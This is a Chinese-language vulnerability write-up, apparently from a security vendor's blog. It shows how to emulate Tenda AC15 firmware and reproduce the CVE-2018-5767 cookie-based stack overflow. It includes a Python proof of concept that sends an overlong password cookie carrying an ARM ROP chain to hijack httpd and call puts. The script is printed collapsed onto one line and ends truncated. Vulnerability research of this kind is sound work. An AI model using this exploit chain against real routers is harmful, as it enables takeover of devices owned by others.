• 提交需求
    *
    *

    *
    *
    *
    立即提交
    点击”立即提交”,表明我理解并同意 《黄金城科技隐私条款》

    logo

      产品与服务
      解决方案
      技术支持
      合作发展
      关于黄金城

      申请试用
        Tenda路由器CVE-2018-5767缓冲区溢出漏洞复现与分析
        发布时间:2023-04-21 阅读次数: 1460 次
        01
        漏洞简介

        Tenda AC15 路由器存在一个溢出漏洞, 由于没有对用户的输入进行限制,导致sscanf函数直接将用户的输入直接拷贝至栈上,从而造成了栈溢出漏洞。


        02
        漏洞影响版本

        Tenda AC15 


        03
        漏洞环境搭建
        固件下载:


        https://github.com/VulnTotal-Team/IoT-vulhub/tree/master/Tenda/CVE-2018-5767/firmware
        执行


        sudo apt install qemu-user-static
        安装qemu-user-static
        图片
        执行

        cp $(which qemu-arm-static) ./sudo chroot . ./qemu-arm-static ./bin/httpd



        启动httpd启动程序
        图片
        卡在启动界面,将./bin/httpd放入IDA中,通过IDA搜索”WeLoveLinux”发现以下结果

        图片

        进入第一处
        图片
        点击F5查看代码,通过查询资料发现此处存在两个检查,第一个检查check_network检查network,未通过则进入睡眠状态,第二个检查ConnectCfm检查连接状态,未通过则输出connect cfm failed!,所以如果想路由器固件http正常启动,需对这2处的返回值进行patch绕过,否则将一直循环在启动界面。
        图片
        本次漏洞环境搭建过程使用IDA插件keypatch进行patch,IDA插件keypatch下载地址:https://github.com/keystone-engine/keypatch,下载后,将keypatch.py拷贝至IDA的plugins目录即可
        图片
        重新启动IDA,将check_networkConnectCfmMOV R3, R0修改为MOV R3, #1
        图片
        点击Edit->Patch program->Apply patches to,即可让更改patch生效
        图片
        将更改后的httpd替换之前的httpd文件并赋予新的httpd文件执行权限
        图片
        执行


        sudo chroot . ./qemu-arm-static ./bin/httpd
        重新启动./bin/httpd,发现IP地址不对
        图片
        查询资料发现需新建立一张名为br0的网卡
        执行



        • brctl addbr br0
        • ifconfig br0 192.168.1.1/24


        命令执行完毕后执行ifconfig,可以看到br0网卡已被添加
        图片
        继续执行


        chroot . ./qemu-arm-static ./bin/httpd
        可以看到已正确获取到IP地址
        图片
        访问http://192.168.1.1,发现仍然出现错误
        图片
        执行以下命令将/webroot_ro/目录下文件拷贝到/webroot/


        cp -rf ./webroot_ro/* ./webroot/

        图片

        再次重新执行


        chroot . ./qemu-arm-static ./bin/httpd
        并访问http://192.168.1.1
        成功搭建漏洞环境
        图片

        04
        漏洞复现分析

        根据已有POC可知溢出漏洞点位于R7WebsSecurityHandler函数中,通过IDA定位该函数并查看函数内容

        图片

        该函数中漏洞点位于下图所示位置,下图所示代码含义为首先寻找到”password=”字符串位置,之后通过函数sscanf获取字符串”password=”以及之后的内容中的字符=到字符;中间的字符串即password的值,之后将截取到的内容写入v33,由于v33已定义长度为128,当截取的值长度超过128时,将造成溢出

        图片

        将下面代码保存为CVE-2018-5767.py


        • import structimport requestsfrom pwn import * ip = "192.168.1.1" url = "http://{:s}/goform/exeCommand".format(ip)headers = {    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Upgrade-Insecure-Requests': '1','Cookie': 'password="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSKYEaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.gifbbbbzzzz"','Cache-Control': 'max-age=0'} libc=0xFF5D5000 _str = "Hello\x00" pop_r3_pc = p32(0x00018298+libc)#pop r3 pcmov_r0_sp_blx_r3 = p32(0x00040cb8 + libc)# mov r0 sp; blx r3print(0x00018298+libc)puts = p32(0x035CD4+libc)_str = _str.encode()# 'byte'password = b"A" * 448+pop_r3_pc+puts+mov_r0_sp_blx_r3+_str+b".gif"headers['Cookie']=b"password="+password try:    response = requests.get(url,headers=headers,timeout=1)except:Pas



        另开一个cmd窗口,执行python3 CVE-2018-5767.py

        图片

        路由器日志信息输出hello

        图片


        免费试用
        服务热线

        马上咨询

        400-811-3777

        回到顶部
        【网站地图】【sitemap】